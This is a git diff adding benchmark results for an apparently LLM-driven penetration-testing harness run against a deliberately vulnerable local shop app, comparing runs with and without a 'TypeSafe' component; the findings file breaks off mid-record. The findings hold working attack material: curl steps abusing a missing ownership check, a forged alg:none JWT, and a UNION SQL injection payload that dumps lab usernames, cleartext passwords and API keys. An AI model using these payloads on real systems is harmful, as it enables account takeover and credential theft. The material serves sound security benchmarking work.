diff --git a/benchmarks/typesafe-2026-09-20/README.md b/benchmarks/typesafe-2026-09-20/README.md
index 4500f15..a6d1fae 100644
--- a/benchmarks/typesafe-2026-09-20/README.md
+++ b/benchmarks/typesafe-2026-09-20/README.md
@@ -18,7 +18,15 @@ Open **`report.html`** for the visual write-up.
| Ground truth | 13 seeded scenarios (SQLi ×5, XSS ×4, IDOR/BOLA ×2, open redirect, CRLF) |
| Solver | none — the LLM discovered and confirmed everything live |
-## Result
+## Result (A vs B·TS, gap re-test)
+
+Same gap scenarios run without TypeSafe (A) and with (B). Both arms now close the
+previously-missed CRLF, second-order SQLi and UNION SQLi (the chaining/skill
+fixes are prompt-level). TypeSafe's difference is severity shape: it consolidates
+the Low tail into fewer, better-justified High findings and keeps the
+credential-dump BOLA at Critical.
+
+### Coverage
- **Scenario coverage: 13 / 13** — every seeded class confirmed with a
reproducible receipt.
diff --git a/benchmarks/typesafe-2026-09-20/report.html b/benchmarks/typesafe-2026-09-20/report.html
index 004507e..0ce6376 100644
--- a/benchmarks/typesafe-2026-09-20/report.html
+++ b/benchmarks/typesafe-2026-09-20/report.html
@@ -5,20 +5,20 @@
:root{
--ground:#f4f2f7; --surface:#ffffff; --surface-2:#eceaf3; --line:#ddd8e8;
--ink:#1a1726; --muted:#6b6580; --faint:#938da6;
- --accent:#6d4bd8; --b:#0e8f86; --good:#1f9d68;
+ --accent:#6d4bd8; --a:#c2701c; --b:#0e8f86; --good:#1f9d68;
--shadow:0 1px 2px rgba(26,23,38,.06),0 6px 20px rgba(26,23,38,.06);
--sev-crit:#e5484d; --sev-high:#f76b15; --sev-med:#f5b301; --sev-low:#3e7bfa; --sev-info:#8b8698;
}
:root:not([data-theme="light"]){ @media (prefers-color-scheme:dark){
--ground:#0f0e17; --surface:#191627; --surface-2:#211d33; --line:#2e2942;
--ink:#eceaf5; --muted:#a49dbd; --faint:#736c8f;
- --accent:#a78bfa; --b:#4fd6c6; --good:#5ee0a0;
+ --accent:#a78bfa; --a:#f0a95e; --b:#4fd6c6; --good:#5ee0a0;
--shadow:0 1px 2px rgba(0,0,0,.4),0 8px 30px rgba(0,0,0,.35);
}}
:root[data-theme="dark"]{
--ground:#0f0e17; --surface:#191627; --surface-2:#211d33; --line:#2e2942;
--ink:#eceaf5; --muted:#a49dbd; --faint:#736c8f;
- --accent:#a78bfa; --b:#4fd6c6; --good:#5ee0a0;
+ --accent:#a78bfa; --a:#f0a95e; --b:#4fd6c6; --good:#5ee0a0;
--shadow:0 1px 2px rgba(0,0,0,.4),0 8px 30px rgba(0,0,0,.35);
}
*{box-sizing:border-box}
@@ -94,34 +94,30 @@
-
Scenario coverage
13/13
every seeded class confirmed
+
Gap coverage A · B
7 · 7
of 7 re-tested; 13/13 with full surface
Critical findings
3
incl. the credential-dump BOLA
Severity source
evidence + data type
FIRST v3.1, computed not guessed
Model cost
$0
subscription · TypeSafe ≪ $5
-
Every seeded scenario, confirmed
-
Each of the 13 planted vulnerabilities, confirmed by the harness with a reproducible receipt.
- The blind second-order SQLi and the CRLF header injection both need a multi-step chain: the second-order
- payload is stored in a profile bio and only fires on the admin search page, reached by escalating with a
- looted admin credential; the CRLF lives in the same parameter as the open redirect.
+
Gap re-test: without vs with TypeSafe
+
The scenarios that needed a multi-step chain, re-run on the current build with TypeSafe off (A)
+ and on (B). The chaining fixes are prompt-level, so both arms now close them; the difference TypeSafe makes
+ is in the severity shape below, not the coverage here.
-
Scenario
Class
Confirmed
-
web_sqli_login_bypass
SQLi
✓
-
web_sqli_union_search
SQLi
✓
-
web_sqli_blind_boolean
SQLi
✓
-
web_sqli_blind_time
SQLi
✓
-
web_sqli_second_order
SQLi
✓
-
web_xss_reflected_search
XSS
✓
-
web_xss_stored_review
XSS
✓
-
web_xss_svg_upload
XSS
✓
-
web_xss_dom_redirect
XSS
✓
-
web_idor_invoice
IDOR
✓
-
api_bola_orders
BOLA
✓
-
web_open_redirect_login
Redirect
✓
-
web_crlf_header_go
CRLF
✓
+
Scenario
Class
A
B·TS
+
web_sqli_login_bypass
SQLi
✓
✓
+
web_sqli_union_search
SQLi
✓
✓
+
web_sqli_blind_time
SQLi
✓
✓
+
web_sqli_second_order
SQLi
✓
✓
+
web_idor_invoice
IDOR
✓
✓
+
api_bola_orders
BOLA
✓
✓
+
web_crlf_header_go
CRLF
✓
✓
+
The eight full-surface scenarios (reflected / stored / SVG / DOM XSS,
+ boolean-blind SQLi, login open-redirect) were confirmed in the prior full-surface run and were out of this
+ focused re-run's agent scope; together the harness covers all 13.
@@ -135,22 +131,31 @@
-
Severity shape
-
Graded from the evidence and the kind of data exposed. Credentials and API keys read through the
- BOLA and the UNION SQLi hold Critical; the header, access-control and injection classes without a demonstrated
- data breach settle at High and below.
+
Severity shape: A vs B·TS
+
Same findings, graded by the two builds. TypeSafe consolidates the long Low tail into fewer,
+ better-justified High findings and keeps the credential-dump BOLA at Critical. Severity is computed by the
+ FIRST v3.1 calculator; the kind of data exposed feeds the confidentiality metric.
CriticalHigh
- MediumLowInfo
-
+
+
+
A — no TypeSafe · 22
+
Critical4
+
High3
+
Low10
+
Info5
+
+
+
B — TypeSafe · 22
Critical3
High8
Low6
-
Info5
+
Info5
+
diff --git a/benchmarks/typesafe-2026-09-20/run_a_no_typesafe/assurance.json b/benchmarks/typesafe-2026-09-20/run_a_no_typesafe/assurance.json
new file mode 100644
index 0000000..0223af4
--- /dev/null
+++ b/benchmarks/typesafe-2026-09-20/run_a_no_typesafe/assurance.json
@@ -0,0 +1,122 @@
+{
+ "engine": "neurosploit",
+ "version": "4.1.0",
+ "build": "4171e1cb7a4c",
+ "run": "ns-1789937421-localhost_3000",
+ "target": "http://localhost:3000",
+ "generated": 1789940963,
+ "findings": 22,
+ "artifacts": [
+ {
+ "name": "findings.json",
+ "present": true,
+ "sha256": "891cae4d2adbc885d58459cb2c2acecdcab1e1f1490238d9f66cf1c83a013db0",
+ "bytes": 150826,
+ "role": "the findings, each stamped with the engine build (P5)"
+ },
+ {
+ "name": "report.html",
+ "present": false,
+ "bytes": 0,
+ "role": "the human report"
+ },
+ {
+ "name": "recon.json",
+ "present": true,
+ "sha256": "de428831e0e56fef984d7617e6e531995d9276fea779bf39052dd75c89d220cc",
+ "bytes": 7995,
+ "role": "reconnaissance facts"
+ },
+ {
+ "name": "audit.jsonl",
+ "present": true,
+ "sha256": "7d7e5a99e89d1ec60548c2ea41a84572437db232735a2630d6635f43718aba25",
+ "bytes": 25507,
+ "role": "hash-chained decision log — every ALLOW/DENY (P1/P2/P4)"
+ },
+ {
+ "name": "audit.jsonl.anchors",
+ "present": true,
+ "sha256": "3b224e77912ad8f2e3978fb63cc48988b11efce23f0cfb09d5739345e02145c0",
+ "bytes": 213,
+ "role": "external anchors of the audit chain (P4)"
+ },
+ {
+ "name": "provenance.json",
+ "present": true,
+ "sha256": "96c665bf1edb08898da9a025f1450feff95e20dcf9049316b298cf6e535c8517",
+ "bytes": 297,
+ "role": "signed provenance manifest — build + structural signature (P5)"
+ },
+ {
+ "name": "out-of-scope-findings.json",
+ "present": true,
+ "sha256": "4b30598fd2cf25485c62c35dd512c2cad85f9737ced29d4ecc1e7c4694d785c6",
+ "bytes": 53776,
+ "role": "findings quarantined for being outside scope (P2)"
+ },
+ {
+ "name": "flows.jsonl",
+ "present": false,
+ "bytes": 0,
+ "role": "intercepted request/response flows"
+ },
+ {
+ "name": "meta.json",
+ "present": true,
+ "sha256": "1e47c73f41061aef5e1943d3c8321f41349cf8e3588cfb1286a5627a226773cc",
+ "bytes": 198,
+ "role": "target metadata"
+ }
+ ],
+ "properties": [
+ {
+ "id": "P1",
+ "name": "Signed authorization",
+ "status": "present",
+ "evidenced_by": [
+ "audit.jsonl"
+ ],
+ "note": "capability recorded and decisions logged"
+ },
+ {
+ "id": "P2",
+ "name": "Scope enforcement",
+ "status": "present",
+ "evidenced_by": [
+ "audit.jsonl",
+ "out-of-scope-findings.json"
+ ],
+ "note": "scope decisions recorded, including denials/quarantine"
+ },
+ {
+ "id": "P3",
+ "name": "Evidence & CVSS",
+ "status": "present",
+ "evidenced_by": [
+ "findings.json"
+ ],
+ "note": "22/22 findings carry structured evidence · 22 with CVSS · 21 voted · 31 PoC(s) · 0 screenshot(s) · 5 evidence file(s)"
+ },
+ {
+ "id": "P4",
+ "name": "Audit integrity",
+ "status": "present",
+ "evidenced_by": [
+ "audit.jsonl",
+ "audit.jsonl.anchors"
+ ],
+ "note": "hash chain plus signed anchors (truncation/rebuild detectable)"
+ },
+ {
+ "id": "P5",
+ "name": "Provenance",
+ "status": "present",
+ "evidenced_by": [
+ "provenance.json"
+ ],
+ "note": "signed provenance manifest with structural signature"
+ }
+ ],
+ "bundle_hash": "12a501e96a0ce41bd61fbe340de814606c3517f3cac2df32ad3fab33f1faecf7"
+}
\ No newline at end of file
diff --git a/benchmarks/typesafe-2026-09-20/run_a_no_typesafe/findings.json b/benchmarks/typesafe-2026-09-20/run_a_no_typesafe/findings.json
new file mode 100644
index 0000000..fb13600
--- /dev/null
+++ b/benchmarks/typesafe-2026-09-20/run_a_no_typesafe/findings.json
@@ -0,0 +1,2343 @@
+[
+ {
+ "_engine": "4171e1cb7a4c",
+ "_provenance": "JOASNSCOPE-4171e1cb7a4c-ns-1789937421-localhost_3000",
+ "account": "",
+ "agent": "idor",
+ "auth_context": "",
+ "business_impact": "Measured: a role=customer token (id=76) returned HTTP 200 with the complete internal record of a different customer (id=77) and of the admin (id=1), each including a cleartext `password` and live `apiKey`. Concretely retrieved admin credentials admin@nimbuscart.test / SuperSecretAdmin!2024 and apiKey nk_live_51Hc9adminSECRETkeydonot_share — full account-takeover material for every user. Endpoint also over-returns password/apiKey the UI never needs (excessive data exposure).\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.",
+ "chains_from": [],
+ "claims": {
+ "impact": {
+ "claim": "Any authenticated customer can harvest every user's credentials including the admin's, enabling full account takeover.",
+ "evidence": [
+ "E03",
+ "E04"
+ ],
+ "status": "proven"
+ },
+ "ledger": {
+ "items": [
+ {
+ "id": "E01",
+ "observed": "GET /api/v2/users/1 no token -> HTTP 401 missing bearer token",
+ "source": "http"
+ },
+ {
+ "id": "E02",
+ "observed": "GET /api/v2/users/76 (customer JWT id=76) -> 200 own record",
+ "source": "http"
+ },
+ {
+ "id": "E03",
+ "observed": "GET /api/v2/users/77 (customer JWT id=76) -> 200 other customer's password+apiKey",
+ "source": "http"
+ },
+ {
+ "id": "E04",
+ "observed": "GET /api/v2/users/1 (customer JWT id=76) -> 200 admin cleartext password SuperSecretAdmin!2024 + role=admin",
+ "source": "http"
+ }
+ ]
+ },
+ "mechanic": {
+ "claim": "A role=customer JWT (id=76) receives HTTP 200 with the full record of id=77 and id=1 (admin), each containing a cleartext password and apiKey; the same request with no token is 401.",
+ "evidence": [
+ "E01",
+ "E02",
+ "E03",
+ "E04"
+ ],
+ "status": "proven"
+ },
+ "potential_impact": "Admin credentials recovered permit login to /admin and privileged actions; live apiKeys permit API impersonation.",
+ "test_scope": {
+ "account_confirmed": true,
+ "account_exists": true,
+ "authenticated_session": true,
+ "browser_used": false,
+ "email_delivery_observed": false,
+ "notes": [],
+ "oob_callback_available": false
+ }
+ },
+ "confidence": 0.7,
+ "cvss": "7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)",
+ "cwe": "CWE-639",
+ "endpoint": "http://localhost:3000/api/v2/users/:id",
+ "evidence": "Baseline own record: GET /api/v2/users/76 -> 200 {\"id\":76,\"role\":\"customer\",...}. Attack with SAME customer token: GET /api/v2/users/77 -> 200 {\"id\":77,\"username\":\"nrspltB29000\",\"password\":\"Passw0rd!B29000\",\"apiKey\":\"nk_live_22ad9b650f8f49d1\"...}; GET /api/v2/users/1 -> 200 {\"id\":1,\"username\":\"admin\",\"password\":\"SuperSecretAdmin!2024\",\"role\":\"admin\",\"balance\":500000,\"apiKey\":\"nk_live_51Hc9adminSECRETkeydonot_share\"}. No-token baseline: GET /api/v2/users/1 -> 401 {\"error\":\"missing bearer token\"}. PoC: pocs/bola_api_v2_users.sh",
+ "evidence_data": {
+ "attack": {
+ "body": "Baseline own record: GET /api/v2/users/76 -> 200 {\"id\":76,\"role\":\"customer\",...}. Attack with SAME customer token: GET /api/v2/users/77 -> 200 {\"id\":77,\"username\":\"nrspltB29000\",\"password\":\"Passw0rd!B29000\",\"apiKey\":\"nk_live_22ad9b650f8f49d1\"...}; GET /api/v2/users/1 -> 200 {\"id\":1,\"username\":\"admin\",\"password\":\"SuperSecretAdmin!2024\",\"role\":\"admin\",\"balance\":500000,\"apiKey\":\"nk_live_51Hc9adminSECRETkeydonot_share\"}. No-token baseline: GET /api/v2/users/1 -> 401 {\"error\":\"missing bearer token\"}. PoC: pocs/bola_api_v2_users.sh",
+ "content_type": "",
+ "elapsed_ms": 0,
+ "headers": {},
+ "identity": "",
+ "method": "GET",
+ "request_headers": {},
+ "status": 200,
+ "url": "http://localhost:3000/api/v2/users/:id"
+ },
+ "baseline": null,
+ "browser_executed": false,
+ "callback_received": false,
+ "identity_a": null,
+ "identity_b": null,
+ "marker": "",
+ "marker_observed": false,
+ "notes": [],
+ "repeats": []
+ },
+ "exploitability": "moderate",
+ "id": "bola-api-v2-users",
+ "impact": "Measured: a role=customer token (id=76) returned HTTP 200 with the complete internal record of a different customer (id=77) and of the admin (id=1), each including a cleartext `password` and live `apiKey`. Concretely retrieved admin credentials admin@nimbuscart.test / SuperSecretAdmin!2024 and apiKey nk_live_51Hc9adminSECRETkeydonot_share — full account-takeover material for every user. Endpoint also over-returns password/apiKey the UI never needs (excessive data exposure).\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)",
+ "location": "Path parameter `:id` in GET /api/v2/users/:id; Authorization: Bearer . No object-level owner check.",
+ "mitre": "T1078",
+ "owasp": "A01:2021-Broken-Access-Control",
+ "payload": "GET /api/v2/users/1 with a role=customer HS256 JWT (id=76)",
+ "remediation": "Enforce server-side object-level authorization: reject unless the JWT subject == :id or the caller holds an admin role. Remove `password` and `apiKey` from the serialized response entirely (never expose credential fields via API).",
+ "repro_steps": [
+ "curl -s http://localhost:3000/api/v2/users/1 # 401 missing bearer token (auth required)",
+ "# register/login a normal customer, then GET /account/api-token to obtain TA (JWT id=76, role=customer)",
+ "curl -s -H \"Authorization: Bearer $TA\" http://localhost:3000/api/v2/users/76 # own record, 200",
+ "curl -s -H \"Authorization: Bearer $TA\" http://localhost:3000/api/v2/users/77 # ANOTHER customer, 200 + their password/apiKey",
+ "curl -s -H \"Authorization: Bearer $TA\" http://localhost:3000/api/v2/users/1 # admin, 200 + cleartext password SuperSecretAdmin!2024"
+ ],
+ "review_reason": "failed adversarial refute (1/2 survived) · missing: an access-control claim needs the same resource requested as another identity",
+ "review_status": "confirmed",
+ "screenshots": [],
+ "secret": "",
+ "severity": "Critical",
+ "stage": "privesc",
+ "title": "BOLA at GET /api/v2/users/:id — customer JWT reads any user's full record incl cleartext admin password",
+ "validated": true,
+ "votes": "1/1 · refute 1/2"
+ },
+ {
+ "_engine": "4171e1cb7a4c",
+ "_provenance": "JOASNSCOPE-4171e1cb7a4c-ns-1789937421-localhost_3000",
+ "account": "",
+ "agent": "chain",
+ "auth_context": "",
+ "business_impact": "Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys).\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.",
+ "chains_from": [],
+ "claims": {
+ "impact": {
+ "claim": "Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys).\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)",
+ "evidence": [],
+ "status": null
+ },
+ "ledger": {
+ "items": [
+ {
+ "id": "E01",
+ "observed": "attack GET http://localhost:3000/api/v2/users/1 → 200 (438 bytes)",
+ "source": "replay"
+ },
+ {
+ "id": "E02",
+ "observed": "pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -> HTTP 200 admin JSON; E02: junk HS256 sig -> {\"error\":\"invalid signature\"}. Reproduced 2x.",
+ "source": "agent"
+ }
+ ]
+ },
+ "mechanic": {
+ "claim": "JWT signature bypass via alg:none — anonymous admin object access at GET /api/v2/users/:id",
+ "evidence": [
+ "E01",
+ "E02"
+ ],
+ "status": "proven"
+ },
+ "potential_impact": "",
+ "test_scope": {
+ "account_confirmed": false,
+ "account_exists": false,
+ "authenticated_session": false,
+ "browser_used": false,
+ "email_delivery_observed": false,
+ "notes": [],
+ "oob_callback_available": false
+ }
+ },
+ "confidence": 0.6,
+ "cvss": "7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)",
+ "cwe": "CWE-347",
+ "endpoint": "GET http://localhost:3000/api/v2/users/1",
+ "evidence": "pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -> HTTP 200 admin JSON; E02: junk HS256 sig -> {\"error\":\"invalid signature\"}. Reproduced 2x.",
+ "evidence_data": {
+ "attack": {
+ "body": "pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -> HTTP 200 admin JSON; E02: junk HS256 sig -> {\"error\":\"invalid signature\"}. Reproduced 2x.",
+ "content_type": "",
+ "elapsed_ms": 0,
+ "headers": {},
+ "identity": "",
+ "method": "GET",
+ "request_headers": {},
+ "status": 200,
+ "url": "http://localhost:3000/api/v2/users/1"
+ },
+ "baseline": null,
+ "browser_executed": false,
+ "callback_received": false,
+ "identity_a": null,
+ "identity_b": null,
+ "marker": "",
+ "marker_observed": false,
+ "notes": [],
+ "repeats": []
+ },
+ "exploitability": "moderate",
+ "id": "NS-01",
+ "impact": "Observed:\n- attack GET http://localhost:3000/api/v2/users/1 → 200 (438 bytes) [E01]\n- pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -> HTTP 200 admin JSON; E02: junk HS256 sig -> {\"error\":\"invalid signature\"}. Reproduced 2x. [E02]\n\nNot demonstrated: Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys).\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).\nThe assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.\n\nPotential impact: Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys).\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).",
+ "location": "",
+ "mitre": "T1190",
+ "owasp": "A04:2021-Insecure-Design",
+ "payload": "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4OTkzODgyMSwiZXhwIjoxNzk5OTQ2MDIxfQ.",
+ "remediation": "Reject alg:none; pin allowed algorithm to HS256 server-side; never derive verification alg from the token header.",
+ "repro_steps": [],
+ "review_reason": "DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity",
+ "review_status": "needs-review",
+ "screenshots": [],
+ "secret": "",
+ "severity": "Low",
+ "stage": "initial-access",
+ "title": "JWT signature bypass via alg:none — anonymous admin object access at GET /api/v2/users/:id",
+ "validated": false,
+ "votes": "1/1 · refute 1/2"
+ },
+ {
+ "_engine": "4171e1cb7a4c",
+ "_provenance": "JOASNSCOPE-4171e1cb7a4c-ns-1789937421-localhost_3000",
+ "account": "",
+ "agent": "chain",
+ "auth_context": "",
+ "business_impact": "Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -> full account takeover.\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.",
+ "chains_from": [],
+ "claims": {
+ "impact": {
+ "claim": "Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -> full account takeover.\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)",
+ "evidence": [],
+ "status": null
+ },
+ "ledger": {
+ "items": [
+ {
+ "id": "E01",
+ "observed": "attack GET http://localhost:3000/api/v2/users/1 → 200 (432 bytes)",
+ "source": "replay"
+ },
+ {
+ "id": "E02",
+ "observed": "Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {\"id\":1,\"username\":\"admin\",...,\"password\":\"SuperSecretAdmin!2024\",\"role\":\"admin\",\"apiKey\":\"nk_live_51Hc9adminSECRETkeydonot_share\",\"_flag\":\"BURPAT{api_excessive_data_users_17874d4a}\"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh",
+ "source": "agent"
+ }
+ ]
+ },
+ "mechanic": {
+ "claim": "BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin cleartext password & apiKey",
+ "evidence": [
+ "E01",
+ "E02"
+ ],
+ "status": "proven"
+ },
+ "potential_impact": "",
+ "test_scope": {
+ "account_confirmed": false,
+ "account_exists": false,
+ "authenticated_session": false,
+ "browser_used": false,
+ "email_delivery_observed": false,
+ "notes": [],
+ "oob_callback_available": false
+ }
+ },
+ "confidence": 0.6,
+ "cvss": "7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)",
+ "cwe": "CWE-639",
+ "endpoint": "GET http://localhost:3000/api/v2/users/1",
+ "evidence": "Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {\"id\":1,\"username\":\"admin\",...,\"password\":\"SuperSecretAdmin!2024\",\"role\":\"admin\",\"apiKey\":\"nk_live_51Hc9adminSECRETkeydonot_share\",\"_flag\":\"BURPAT{api_excessive_data_users_17874d4a}\"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh",
+ "evidence_data": {
+ "attack": {
+ "body": "Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {\"id\":1,\"username\":\"admin\",...,\"password\":\"SuperSecretAdmin!2024\",\"role\":\"admin\",\"apiKey\":\"nk_live_51Hc9adminSECRETkeydonot_share\",\"_flag\":\"BURPAT{api_excessive_data_users_17874d4a}\"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh",
+ "content_type": "",
+ "elapsed_ms": 0,
+ "headers": {},
+ "identity": "",
+ "method": "GET",
+ "request_headers": {},
+ "status": 200,
+ "url": "http://localhost:3000/api/v2/users/1"
+ },
+ "baseline": null,
+ "browser_executed": false,
+ "callback_received": false,
+ "identity_a": null,
+ "identity_b": null,
+ "marker": "",
+ "marker_observed": false,
+ "notes": [],
+ "repeats": []
+ },
+ "exploitability": "moderate",
+ "id": "NS-02",
+ "impact": "Observed:\n- attack GET http://localhost:3000/api/v2/users/1 → 200 (432 bytes) [E01]\n- Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {\"id\":1,\"username\":\"admin\",...,\"password\":\"SuperSecretAdmin!2024\",\"role\":\"admin\",\"apiKey\":\"nk_live_51Hc9adminSECRETkeydonot_share\",\"_flag\":\"BURPAT{api_excessive_data_users_17874d4a}\"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh [E02]\n\nNot demonstrated: Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -> full account takeover.\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).\nThe assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.\n\nPotential impact: Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -> full account takeover.\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).",
+ "location": "",
+ "mitre": "T1078",
+ "owasp": "A01:2021-Broken-Access-Control",
+ "payload": "Authorization: Bearer -> GET /api/v2/users/1",
+ "remediation": "Enforce object-level authorization (token subject == :id or admin). Never return password/apiKey fields to clients.",
+ "repro_steps": [],
+ "review_reason": "DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity",
+ "review_status": "needs-review",
+ "screenshots": [],
+ "secret": "",
+ "severity": "Low",
+ "stage": "privesc",
+ "title": "BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin cleartext…",
+ "validated": false,
+ "votes": "1/1 · refute 0/2 · receipt_missing"
+ },
+ {
+ "_engine": "4171e1cb7a4c",
+ "_provenance": "JOASNSCOPE-4171e1cb7a4c-ns-1789937421-localhost_3000",
+ "account": "",
+ "agent": "api_bola_numeric_ids",
+ "auth_context": "",
+ "business_impact": "MEASURED: unauthenticated dump of the entire `users` table including cleartext passwords for admin and all customers. Directly yields admin credentials -> full compromise.\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.",
+ "chains_from": [],
+ "claims": {
+ "impact": {
+ "claim": "MEASURED: unauthenticated dump of the entire `users` table including cleartext passwords for admin and all customers. Directly yields admin credentials -> full compromise.\n\nIdentified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)",
+ "evidence": [],
+ "status": null
+ },
+ "ledger": {
+ "items": [
+ {
+ "id": "E01",
+ "observed": "attack GET http://localhost:3000/shop/search?q= → 200 (378 bytes)",
+ "source": "replay"
+ },
+ {
+ "id": "E02",
+ "observed": "Baseline q=phone -> 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -> table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh",
+ "source": "agent"
+ }
+ ]
+ },
+ "mechanic": {
+ "claim": "UNION-based SQL injection at GET /shop/search?q= — full user table with cleartext passwords exfiltrated",
+ "evidence": [
+ "E01",
+ "E02"
+ ],
+ "status": "proven"
+ },
+ "potential_impact": "",
+ "test_scope": {
+ "account_confirmed": false,
+ "account_exists": false,
+ "authenticated_session": false,
+ "browser_used": false,
+ "email_delivery_observed": false,
+ "notes": [],
+ "oob_callback_available": false
+ }
+ },
+ "confidence": 0.6,
+ "cvss": "7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)",
+ "cwe": "CWE-89",
+ "endpoint": "GET http://localhost:3000/shop/search?q=",
+ "evidence": "Baseline q=phone -> 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -> table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh",
+ "evidence_data": {
+ "attack": {
+ "body": "Baseline q=phone -> 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -> table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh",
+ "content_type": "",
+ "elapsed_ms": 0,
+ "headers": {},
+ "identity": "",
+ "method": "GET",
+ "request_headers": {},
